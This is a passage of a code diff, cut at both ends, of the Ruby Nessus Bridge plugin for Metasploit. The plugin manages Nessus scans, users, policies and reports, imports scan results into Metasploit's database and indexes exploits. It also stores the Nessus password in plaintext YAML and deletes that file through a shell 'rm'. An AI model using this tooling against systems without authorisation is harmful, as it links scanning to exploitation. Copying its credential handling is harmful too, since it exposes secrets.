"\n" - print_line tbl.to_s + "\n" - print_status("You can:") - print_status(" Get a list of hosts from the report: nessus_report_hosts <report id>") - end - - def check_scan(*args) - - case args.length - when 1 - rid = args[0] - else - print_error("No Report ID Supplied") - return - end - - scans = @n.scan_list_hash - scans.each {|scan| - if scan['id'] == rid - return true - end - } - return false - end - - def cmd_nessus_report_get(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_report_get <report id>") - print_status(" Example:> nessus_report_get f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("This command pulls the provided report from the nessus server in the nessusv2 format") - print_status("and parses it the same way db_import_nessus does. After it is parsed it will be") - print_status("available to commands such as db_hosts, db_vulns, db_services and db_autopwn.") - print_status("Use: nessus_report_list to obtain a list of report id's") - return - end - - if ! nessus_verify_token - return - end - - if ! nessus_verify_db - return - end - - if(args.length == 0 or args[0].empty? or args[0] == "-h") - print_status("Usage: ") - print_status(" nessus_report_get <report id> ") - print_status(" use nessus_report_list to list all available reports for importing") - return - end - - rid = nil - - case args.length - when 1 - rid = args[0] - else - print_status("Usage: ") - print_status(" nessus_report_get <report id> ") - print_status(" use nessus_report_list to list all available reports for importing") - return - end - - if check_scan(rid) - print_error("That scan is still running.") - return - end - content = nil - content=@n.report_file_download(rid) - if content.nil? - print_error("Failed, please reauthenticate") - return - end - print_status("importing " + rid) - framework.db.import({:data => content}) do |type,data| - case type - when :address - print_line("%bld%blu[*]%clr %bld#{data}%clr") - end - end - print_good("Done") - end - - def cmd_nessus_scan_status(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_status") - print_status(" Example:> nessus_scan_status") - print_status() - print_status("Returns a list of information about currently running scans.") - return - end - - if ! nessus_verify_token - return - end - - list=@n.scan_list_hash - if list.empty? - print_status("No Scans Running.") - print_status("You can:") - print_status(" List of completed scans: nessus_report_list") - print_status(" Create a scan: nessus_scan_new <policy id> <scan name> <target(s)>") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Scan ID', - 'Name', - 'Owner', - 'Started', - 'Status', - 'Current Hosts', - 'Total Hosts' - ]) - - list.each {|scan| - t = Time.at(scan['start'].to_i) - tbl << [ scan['id'], scan['name'], scan['owner'], t.strftime("%H:%M %b %d %Y"), scan['status'], scan['current'], scan['total'] ] - } - print_good("Running Scans") - print_good "\n" - print_line tbl.to_s - print_good "\n" - print_status("You can:") - print_good(" Import Nessus report to database : nessus_report_get <reportid>") - print_good(" Pause a nessus scan : nessus_scan_pause <scanid>") - end - - def cmd_nessus_template_list(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_template_list") - print_status(" Example:> nessus_template_list") - print_status() - print_status("Returns a list of information about the server templates..") - return - end - - if ! nessus_verify_token - return - end - - list=@n.template_list_hash - - if list.empty? - print_status("No Templates Created.") - print_status("You can:") - print_status(" List of completed scans: nessus_report_list") - print_status(" Create a template: nessus_template_new <policy id> <scan name> <target(s)>") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Template ID', - 'Policy ID', - 'Name', - 'Owner', - 'Target' - ]) - - list.each {|template| - tbl << [ template['name'], template['pid'], template['rname'], template['owner'], template['target'] ] - } - print_good("Templates") - print_good "\n" - print_line tbl.to_s + "\n" - print_good "\n" - print_status("You can:") - print_good(" Import Nessus report to database : nessus_report_get <reportid>") - end - - def cmd_nessus_user_list(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_user_list") - print_status(" Example:> nessus_user_list") - print_status() - print_status("Returns a list of the users on the Nessus server and their access level.") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_status("Your Nessus user is not an admin") - end - - list=@n.users_list - print_good("There are #{list.length} users") - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Name', - 'Is Admin?', - 'Last Login' - ]) - - list.each {|user| - t = Time.at(user['lastlogin'].to_i) - tbl << [ user['name'], user['admin'], t.strftime("%H:%M %b %d %Y") ] - } - print_good("Nessus users") - print_good "\n" - print_line tbl.to_s - end - - def cmd_nessus_server_status(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_server_status") - print_status(" Example:> nessus_server_status") - print_status() - print_status("Returns some status items for the server..") - return - end - #Auth - if ! nessus_verify_token - return - end - - #Check if we are an admin - if ! @n.is_admin - print_status("You need to be an admin for this.") - return - end - - #Versions - cmd_nessus_server_feed - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Users', - 'Policies', - 'Running Scans', - 'Reports', - 'Plugins' - ]) - #Count how many users the server has. - list=@n.users_list - users = list.length - - #Count how many policies - list=@n.policy_list_hash - policies = list.length - - #Count how many running scans - list=@n.scan_list_uids - scans = list.length - - #Count how many reports are available - list=@n.report_list_hash - reports = list.length - - #Count how many plugins - list=@n.plugins_list - total = Array.new - list.each {|plugin| - total.push(plugin['num'].to_i) - } - plugins = total.sum - tbl << [users, policies, scans, reports, plugins] - print_good "\n" - print_line tbl.to_s - end - - def cmd_nessus_plugin_list(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_plugin_list") - print_status(" Example:> nessus_plugin_list") - print_status() - print_status("Returns a list of the plugins on the server per family.") - return - end - - if ! nessus_verify_token - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Family Name', - 'Total Plugins' - ]) - list=@n.plugins_list - total = Array.new - list.each {|plugin| - total.push(plugin['num'].to_i) - tbl << [ plugin['name'], plugin['num'] ] - } - plugins = total.sum - tbl << [ '', ''] - tbl << [ 'Total Plugins', plugins ] - print_good("Plugins By Family") - print_good "\n" - print_line tbl.to_s - print_status("List plugins for a family : nessus_plugin_family <family name>") - end - - def check_policy(*args) - - case args.length - when 1 - pid = args[0] - else - print_error("No Policy ID supplied.") - return - end - - pol = @n.policy_list_hash - pol.each {|p| - if p['id'].to_i == pid - return false - end - } - return true - end - - def cmd_nessus_scan_new(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_new <policy id> <scan name> <targets>") - print_status(" Example:> nessus_scan_new 1 \"My Scan\" 192.168.1.250") - print_status() - print_status("Creates a scan based on a policy id and targets.") - print_status("use nessus_policy_list to list all available policies") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 3 - pid = args[0].to_i - name = args[1] - tgts = args[2] - else - print_status("Usage: ") - print_status(" nessus_scan_new <policy id> <scan name> <targets>") - print_status(" use nessus_policy_list to list all available policies") - return - end - - if check_policy(pid) - print_error("That policy does not exist.") - return - end - - print_status("Creating scan from policy number #{pid}, called \"#{name}\" and scanning #{tgts}") - - scan = @n.scan_new(pid, name, tgts) - - if scan - print_status("Scan started. uid is #{scan}") - end - end - - def cmd_nessus_scan_pause(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_pause <scan id>") - print_status(" Example:> nessus_scan_pause f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("Pauses a running scan") - print_status("use nessus_scan_status to list all available scans") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 1 - sid = args[0] - else - print_status("Usage: ") - print_status(" nessus_scan_pause <scan id>") - print_status(" use nessus_scan_status to list all available scans") - return - end - - pause = @n.scan_pause(sid) - - print_status("#{sid} has been paused") - end - - def cmd_nessus_scan_resume(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_resume <scan id>") - print_status(" Example:> nessus_scan_resume f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("resumes a running scan") - print_status("use nessus_scan_status to list all available scans") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 1 - sid = args[0] - else - print_status("Usage: ") - print_status(" nessus_scan_resume <scan id>") - print_status(" use nessus_scan_status to list all available scans") - return - end - - resume = @n.scan_resume(sid) - - print_status("#{sid} has been resumed") - end - - def cmd_nessus_report_hosts(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_report_hosts <report id>") - print_status(" Example:> nessus_report_hosts f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("Returns all the hosts associated with a scan and details about their vulnerabilities") - print_status("use nessus_report_list to list all available scans") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 1 - rid = args[0] - else - print_status("Usage: ") - print_status(" nessus_report_hosts <report id>") - print_status(" use nessus_report_list to list all available reports") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Hostname', - 'Severity', - 'Sev 0', - 'Sev 1', - 'Sev 2', - 'Sev 3', - 'Current Progress', - 'Total Progress' - ]) - hosts=@n.report_hosts(rid) - hosts.each {|host| - tbl << [ host['hostname'], host['severity'], host['sev0'], host['sev1'], host['sev2'], host['sev3'], host['current'], host['total'] ] - } - print_good("Report Info") - print_good "\n" - print_line tbl.to_s - print_status("You can:") - print_status(" Get information from a particular host: nessus_report_host_ports <hostname> <report id>") - end - - def cmd_nessus_report_vulns(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_report_vulns <report id>") - print_status(" Example:> nessus_report_vulns f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("Returns all the vulns associated with a scan and details about hosts and their vulnerabilities") - print_status("use nessus_report_list to list all available scans") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 1 - rid = args[0] - else - print_status("Usage: ") - print_status(" nessus_report_vulns <report id>") - print_status(" use nessus_report_vulns to list all available reports") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Hostname', - 'Port', - 'Proto', - 'Sev', - 'PluginID', - 'Plugin Name' - ]) - print_status("Grabbing all vulns for report #{rid}") - hosts=@n.report_hosts(rid) - hosts.each do |host| - ports=@n.report_host_ports(rid, host['hostname']) - ports.each do |port| - details=@n.report_host_port_details(rid, host['hostname'], port['portnum'], port['protocol']) - details.each do |detail| - tbl << [host['hostname'], - port['portnum'], - port['protocol'], - detail['severity'], - detail['pluginID'], - detail['pluginName'] - ] - end - end - end - print_good("Report Info") - print_line - print_line tbl.to_s - print_status("You can:") - print_status(" Get information from a particular host: nessus_report_host_ports <hostname> <report id>") - end - - def cmd_nessus_report_host_ports(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_report_host_ports <hostname> <report id>") - print_status(" Example:> nessus_report_host_ports 192.168.1.250 f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("Returns all the ports associated with a host and details about their vulnerabilities") - print_status("use nessus_report_hosts to list all available hosts for a report") - end - - if ! nessus_verify_token - return - end - - case args.length - when 2 - host = args[0] - rid = args[1] - else - print_status("Usage: ") - print_status(" nessus_report_host_ports <hostname> <report id>") - print_status(" use nessus_report_list to list all available reports") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Port', - 'Protocol', - 'Severity', - 'Service Name', - 'Sev 0', - 'Sev 1', - 'Sev 2', - 'Sev 3' - ]) - ports=@n.report_host_ports(rid, host) - ports.each {|port| - tbl << [ port['portnum'], port['protocol'], port['severity'], port['svcname'], port['sev0'], port['sev1'], port['sev2'], port['sev3'] ] - } - print_good("Host Info") - print_good "\n" - print_line tbl.to_s - print_status("You can:") - print_status(" Get detailed scan infromation about a specfic port: nessus_report_host_detail <hostname> <port> <protocol> <report id>") - end - - def cmd_nessus_report_host_detail(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_report_host_detail <hostname> <port> <protocol> <report id>") - print_status(" Example:> nessus_report_host_ports 192.168.1.250 445 tcp f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("Returns all the vulns associated with a port for a specific host") - print_status("use nessus_report_host_ports to list all available ports for a host") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 4 - host = args[0] - port = args[1] - prot = args[2] - rid = args[3] - else - print_status("Usage: ") - print_status(" nessus_report_host_detail <hostname> <port> <protocol> <report id>") - print_status(" use nessus_report_host_ports to list all available ports") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Port', - 'Severity', - 'PluginID', - 'Plugin Name', - 'CVSS2', - 'Exploit?', - 'CVE', - 'Risk Factor', - 'CVSS Vector' - ]) - details=@n.report_host_port_details(rid, host, port, prot) - details.each {|detail| - tbl << [ - detail['port'], - detail['severity'], - detail['pluginID'], - detail['pluginName'], - detail['cvss_base_score'] || 'none', - detail['exploit_available'] || '.', - detail['cve'] || '.', - detail['risk_factor'] || '.', - detail['cvss_vector'] || '.' - ] - } - print_good("Port Info") - print_good "\n" - print_line tbl.to_s - end - - def cmd_nessus_scan_pause_all(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_pause_all") - print_status(" Example:> nessus_scan_pause_all") - print_status() - print_status("Pauses all currently running scans") - print_status("use nessus_scan_list to list all running scans") - return - end - - if ! nessus_verify_token - return - end - - pause = @n.scan_pause_all - - print_status("All scans have been paused") - end - - def cmd_nessus_scan_stop(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_stop <scan id>") - print_status(" Example:> nessus_scan_stop f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("Stops a currently running scans") - print_status("use nessus_scan_list to list all running scans") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 1 - sid = args[0] - else - print_status("Usage: ") - print_status(" nessus_scan_stop <scan id>") - print_status(" use nessus_scan_status to list all available scans") - return - end - - pause = @n.scan_stop(sid) - - print_status("#{sid} has been stopped") - end - - def cmd_nessus_scan_stop_all(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_stop_all") - print_status(" Example:> nessus_scan_stop_all") - print_status() - print_status("stops all currently running scans") - print_status("use nessus_scan_list to list all running scans") - return - end - - if ! nessus_verify_token - return - end - - pause = @n.scan_stop_all - - print_status("All scans have been stopped") - end - - def cmd_nessus_scan_resume_all(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_resume_all") - print_status(" Example:> nessus_scan_resume_all") - print_status() - print_status("resumes all currently running scans") - print_status("use nessus_scan_list to list all running scans") - return - end - - if ! nessus_verify_token - return - end - - pause = @n.scan_resume_all - - print_status("All scans have been resumed") - end - - def cmd_nessus_user_add(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_user_add <username> <password>") - print_status(" Example:> nessus_user_add msf msf") - print_status() - print_status("Only adds non admin users. Must be an admin to add users.") - print_status("use nessus_user_list to list all users") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_error("Your Nessus user is not an admin") - return - end - - case args.length - when 2 - user = args[0] - pass = args[1] - else - print_status("Usage: ") - print_status(" nessus_user_add <username> <password>") - print_status(" Only adds non admin users") - return - end - - u = @n.users_list - u.each { |stuff| - if stuff['name'] == user - print_error("That user exists") - return - end - } - add = @n.user_add(user,pass) - status = add.root.elements['status'].text if add - if status == "OK" - print_good("#{user} has been added") - else - print_error("#{user} was not added") - end - end - - def cmd_nessus_user_del(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_user_del <username>") - print_status(" Example:> nessus_user_del msf") - print_status() - print_status("Only dels non admin users. Must be an admin to del users.") - print_status("use nessus_user_list to list all users") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_error("Your Nessus user is not an admin") - return - end - - case args.length - when 1 - user = args[0] - else - print_status("Usage: ") - print_status(" nessus_user_del <username>") - print_status(" Only dels non admin users") - return - end - - del = @n.user_del(user) - status = del.root.elements['status'].text - if status == "OK" - print_good("#{user} has been deleted") - else - print_error("#{user} was not deleted") - end - end - - def cmd_nessus_user_passwd(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_user_passwd <username> <password>") - print_status(" Example:> nessus_user_passwd msf newpassword") - print_status() - print_status("Changes the password of a user. Must be an admin to change passwords.") - print_status("use nessus_user_list to list all users") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_error("Your Nessus user is not an admin") - return - end - - case args.length - when 2 - user = args[0] - pass = args[1] - else - print_status("Usage: ") - print_status(" nessus_user_passwd <username> <password>") - print_status(" User list from nessus_user_list") - return - end - - pass = @n.user_pass(user,pass) - status = pass.root.elements['status'].text - if status == "OK" - print_good("#{user}'s password has been changed") - else - print_error("#{user}'s password has not been changed") - end - end - - def cmd_nessus_admin(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_admin") - print_status(" Example:> nessus_admin") - print_status() - print_status("Checks to see if the current user is an admin") - print_status("use nessus_user_list to list all users") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_error("Your Nessus user is not an admin") - else - print_good("Your Nessus user is an admin") - end - end - - def cmd_nessus_plugin_family(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_plugin_family <plugin family name>") - print_status(" Example:> nessus_plugin_family \"Windows : Microsoft Bulletins\" ") - print_status() - print_status("Returns a list of all plugins in that family.") - print_status("use nessus_plugin_list to list all plugins") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 1 - fam = args[0] - else - print_status("Usage: ") - print_status(" nessus_plugin_family <plugin family name>") - print_status(" list all plugins from a Family from nessus_plugin_list") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Plugin ID', - 'Plugin Name', - 'Plugin File Name' - ]) - - family = @n.plugin_family(fam) - - family.each {|plugin| - tbl << [ plugin['id'], plugin['name'], plugin['filename'] ] - } - print_good("#{fam} Info") - print_good "\n" - print_line tbl.to_s - end - - def cmd_nessus_policy_list(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_policy_list") - print_status(" Example:> nessus_policy_list") - print_status() - print_status("Lists all policies on the server") - return - end - - if ! nessus_verify_token - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'ID', - 'Name', - 'Comments' - ]) - list=@n.policy_list_hash - list.each {|policy| - tbl << [ policy['id'], policy['name'], policy['comments'] ] - } - print_good("Nessus Policy List") - print_good "\n" - print_line tbl.to_s - end - - def cmd_nessus_policy_del(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_policy_del <policy ID>") - print_status(" Example:> nessus_policy_del 1") - print_status() - print_status("Must be an admin to del policies.") - print_status("use nessus_policy_list to list all policies") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_error("Your Nessus user is not an admin") - return - end - - case args.length - when 1 - pid = args[0] - else - print_status("Usage: ") - print_status(" nessus_policy_del <policy ID>") - print_status(" nessus_policy_list to find the id.") - return - end - - - del = @n.policy_del(pid) - status = del.root.elements['status'].text - if status == "OK" - print_good("Policy number #{pid} has been deleted") - else - print_error("Policy number #{pid} was not deleted") - end - - end - - def cmd_nessus_plugin_details(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_plugin_details <plugin file name>") - print_status(" Example:> nessus_plugin_details ping_host.nasl ") - print_status() - print_status("Returns details on a particular plugin.") - print_status("use nessus_plugin_list to list all plugins") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 1 - pname = args[0] - else - print_status("Usage: ") - print_status(" nessus_policy_del <plugin file name>") - print_status(" nessus_plugin_list and then nessus_plugin_family to find the plugin file name.") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - '', - '' - ]) - - entry = @n.plugin_detail(pname) - print_good("Plugin Details for #{entry['name']}") - tbl << [ "Plugin ID", entry['id'] ] - tbl << [ "Plugin Family", entry['family'] ] - tbl << [ "CVSS Base Score", entry['cvss_base_score'] ] - tbl << [ "CVSS Vector", entry['cvss_vector'] ] - tbl << [ "CVSS Temporal Score", entry['cvss_temporal_score'] ] - tbl << [ "CVSS Temporal Vector", entry['cvss_temporal_vector'] ] - tbl << [ "Risk Factor", entry['risk_factor'] ] - tbl << [ "Exploit Available", entry['exploit_available'] ] - tbl << [ "Exploitability Ease", entry['exploit_ease'] ] - tbl << [ "Synopsis", entry['synopsis'] ] - tbl << [ "Description", entry['description'] ] - tbl << [ "Solution", entry['solution'] ] - tbl << [ "Plugin Pub Date", entry['plugin_publication_date'] ] - tbl << [ "Plugin Modification Date", entry['plugin_modification_date'] ] - print_good "\n" - print_line tbl.to_s - end - - def cmd_nessus_report_del(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_report_del <reportname>") - print_status(" Example:> nessus_report_del f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("Must be an admin to del reports.") - print_status("use nessus_report_list to list all reports") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_error("Your Nessus user is not an admin") - return - end - - case args.length - when 1 - rid = args[0] - else - print_status("Usage: ") - print_status(" nessus_report_del <report ID>") - print_status(" nessus_report_list to find the id.") - return - end - - - del = @n.report_del(rid) - status = del.root.elements['status'].text - if status == "OK" - print_good("Report #{rid} has been deleted") - else - print_error("Report #{rid} was not deleted") - end - end - - def cmd_nessus_server_prefs(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_server_prefs") - print_status(" Example:> nessus_server_prefs") - print_status() - print_status("Returns a long list of server prefs.") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_error("Your Nessus user is not an admin") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Name', - 'Value' - ]) - prefs = @n.server_prefs - prefs.each {|pref| - tbl << [ pref['name'], pref['value'] ] - } - print_good("Nessus Server Pref List") - print_good "\n" - print_line tbl.to_s + "\n" - - end - - def cmd_nessus_plugin_prefs(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_plugin_prefs") - print_status(" Example:> nessus_plugin_prefs") - print_status() - print_status("Returns a long list of plugin prefs.") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_error("Your Nessus user is not an admin") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Name', - 'Value', - 'Type' - ]) - prefs = @n.plugin_prefs - prefs.each {|pref| - tbl << [ pref['prefname'], pref['prefvalues'], pref['preftype'] ] - } - print_good("Nessus Plugins Pref List") - print_good "\n" - print_line tbl.to_s - end - end - - def initialize(framework, opts) - super - - add_console_dispatcher(ConsoleCommandDispatcher) - @nbver = "1.1" # Nessus Plugin Version. Increments each time we commit to msf - @xindex = "#{Msf::Config.get_config_root}/nessus_index" # location of the exploit index file used to speed up searching for valid exploits. - @nessus_yaml = "#{Msf::Config.get_config_root}/nessus.yaml" #location of the nessus.yml containing saved nessus creds - print_status("Nessus Bridge for Metasploit #{@nbver}") - print_good("Type %bldnessus_help%clr for a command listing") - #nessus_index - end - - def cleanup - remove_console_dispatcher('Nessus') - end - - def name - "nessus" - end - - def desc - "Nessus Bridge for Metasploit #{@nbver}" - end - protected - end + class Plugin::Nessus < Msf::Plugin + + #creates the index of exploit details to make searching for exploits much faster. + def create_xindex + start = Time.now + print_status("Creating Exploit Search Index - (#{@xindex}) - this wont take long.") + count = 0 + # use Msf::Config.get_config_root as the location. + File.open("#{@xindex}", "w+") do |f| + #need to add version line. + f.puts(Msf::Framework::RepoRevision) + framework.exploits.sort.each { |refname, mod| + stuff = "" + o = nil + begin + o = mod.new + rescue ::Exception + end + stuff << "#{refname}|#{o.name}|#{o.platform_to_s}|#{o.arch_to_s}" + next if not o + o.references.map do |x| + if !(x.ctx_id == "URL") + if (x.ctx_id == "MSB") + stuff << "|#{x.ctx_val}" + else + stuff << "|#{x.ctx_id}-#{x.ctx_val}" + end + end + end + stuff << "\n" + f.puts(stuff) + } + end + total = Time.now - start + print_status("It has taken : #{total} seconds to build the exploits search index") + end + + def nessus_index + if File.exist?("#{@xindex}") + #check if it's version line matches current version. + File.open("#{@xindex}") {|f| + line = f.readline + line.chomp! + if line.to_i == Msf::Framework::RepoRevision + print_good("Exploit Index - (#{@xindex}) - is valid.") + else + create_xindex + end + } + else + create_xindex + end + end + + class ConsoleCommandDispatcher + include Msf::Ui::Console::CommandDispatcher + + def name + "Nessus" + end + + def commands + { + "nessus_connect" => "Connect to a nessus server: nconnect username:password@hostname:port <ssl ok>.", + "nessus_admin" => "Checks if user is an admin.", + "nessus_help" => "Get help on all commands.", + "nessus_logout" => "Terminate the session.", + "nessus_server_status" => "Check the status of your Nessus Server.", + "nessus_server_feed" => "Nessus Feed Type.", + "nessus_server_prefs" => "Display Server Prefs.", + "nessus_report_list" => "List all Nessus reports.", + "nessus_report_get" => "Import a report from the nessus server in Nessus v2 format.", + "nessus_report_del" => "Delete a report.", + "nessus_report_vulns" => "Get list of vulns from a report.", + "nessus_report_hosts" => "Get list of hosts from a report.", + "nessus_report_host_ports" => "Get list of open ports from a host from a report.", + "nessus_report_host_detail" => "Detail from a report item on a host.", + "nessus_scan_status" => "List all currently running Nessus scans.", + "nessus_scan_new" => "Create new Nessus Scan.", + "nessus_scan_pause" => "Pause a Nessus Scan.", + "nessus_scan_pause_all" => "Pause all Nessus Scans.", + "nessus_scan_stop" => "Stop a Nessus Scan.", + "nessus_scan_stop_all" => "Stop all Nessus Scans.", + "nessus_scan_resume" => "Resume a Nessus Scan.", + "nessus_scan_resume_all" => "Resume all Nessus Scans.", + "nessus_user_list" => "Show Nessus Users.", + "nessus_user_add" => "Add a new Nessus User.", + "nessus_user_del" => "Delete a Nessus User.", + "nessus_user_passwd" => "Change Nessus Users Password.", + "nessus_plugin_family" => "List plugins in a family.", + "nessus_plugin_details" => "List details of a particular plugin.", + "nessus_plugin_list" => "Displays each plugin family and the number of plugins.", + "nessus_plugin_prefs" => "Display Plugin Prefs.", + "nessus_policy_list" => "List all polciies.", + "nessus_policy_del" => "Delete a policy.", + "nessus_index" => "Manually generates a search index for exploits.", + "nessus_template_list" => "List all the templates on the server.", + "nessus_db_scan" => "Create a scan of all ips in db_hosts.", + "nessus_save" => "Save username/passowrd/server/port details." + } + end + + def cmd_nessus_index + Msf::Plugin::Nessus.nessus_index + end + + def cmd_nessus_save(*args) + #if we are logged in, save session details to nessus.yaml + @nessus_yaml = "#{Msf::Config.get_config_root}/nessus.yaml" + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_save") + return + end + + if args[0] + print_status("Usage: ") + print_status(" nessus_save") + return + end + + group = "default" + + if ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) + config = Hash.new + config = {"#{group}" => {'username' => @user, 'password' => @pass, 'server' => @host, 'port' => @port}} + File.open("#{@nessus_yaml}", "w+") do |f| + f.puts YAML.dump(config) + end + print_good("#{@nessus_yaml} created.") + + else + print_error("Missing username/password/server/port - relogin and then try again.") + return + end + end + + def cmd_nessus_db_scan(*args) + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_db_scan <policy id> <scan name>") + print_status(" Example:> nessus_db_scan 1 \"My Scan\"") + print_status() + print_status("Creates a scan based on all the hosts listed in db_hosts.") + print_status("use nessus_policy_list to list all available policies") + return + end + + if ! nessus_verify_token + return + end + + case args.length + when 2 + pid = args[0].to_i + name = args[1] + else + print_status("Usage: ") + print_status(" nessus_db_scan <policy id> <scan name>") + print_status(" use nessus_policy_list to list all available policies") + return + end + + if check_policy(pid) + print_error("That policy does not exist.") + return + end + + tgts = "" + framework.db.hosts(framework.db.workspace).each do |host| + tgts << host.address + tgts << "," + end + + tgts.chop! + + print_status("Creating scan from policy number #{pid}, called \"#{name}\" and scanning all hosts in workspace") + + scan = @n.scan_new(pid, name, tgts) + + if scan + print_status("Scan started. uid is #{scan}") + end + + end + + def cmd_nessus_logout + @token = nil + print_status("Logged out") + system("rm #{@nessus_yaml}") + print_good("#{@nessus_yaml} removed.") + return + end + + def cmd_nessus_help(*args) + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + "Command", + "Help Text" + ], + 'SortIndex' => -1 + ) + tbl << [ "Generic Commands", "" ] + tbl << [ "-----------------", "-----------------"] + tbl << [ "nessus_connect", "Connect to a nessus server" ] + tbl << [ "nessus_save", "Save nessus login info between sessions" ] + tbl << [ "nessus_logout", "Logout from the nessus server" ] + tbl << [ "nessus_help", "Listing of available nessus commands" ] + tbl << [ "nessus_server_status", "Check the status of your Nessus Server" ] + tbl << [ "nessus_admin", "Checks if user is an admin" ] + tbl << [ "nessus_server_feed", "Nessus Feed Type" ] + tbl << [ "nessus_find_targets", "Try to find vulnerable targets from a report" ] + tbl << [ "nessus_server_prefs", "Display Server Prefs" ] + tbl << [ "", ""] + tbl << [ "Reports Commands", "" ] + tbl << [ "-----------------", "-----------------"] + tbl << [ "nessus_report_list", "List all Nessus reports" ] + tbl << [ "nessus_report_get", "Import a report from the nessus server in Nessus v2 format" ] + tbl << [ "nessus_report_vulns", "Get list of vulns from a report" ] + tbl << [ "nessus_report_hosts", "Get list of hosts from a report" ] + tbl << [ "nessus_report_host_ports", "Get list of open ports from a host from a report" ] + tbl << [ "nessus_report_host_detail", "Detail from a report item on a host" ] + tbl << [ "", ""] + tbl << [ "Scan Commands", "" ] + tbl << [ "-----------------", "-----------------"] + tbl << [ "nessus_scan_new", "Create new Nessus Scan" ] + tbl << [ "nessus_scan_status", "List all currently running Nessus scans" ] + tbl << [ "nessus_scan_pause", "Pause a Nessus Scan" ] + tbl << [ "nessus_scan_pause_all", "Pause all Nessus Scans" ] + tbl << [ "nessus_scan_stop", "Stop a Nessus Scan" ] + tbl << [ "nessus_scan_stop_all", "Stop all Nessus Scans" ] + tbl << [ "nessus_scan_resume", "Resume a Nessus Scan" ] + tbl << [ "nessus_scan_resume_all", "Resume all Nessus Scans" ] + tbl << [ "", ""] + tbl << [ "Plugin Commands", "" ] + 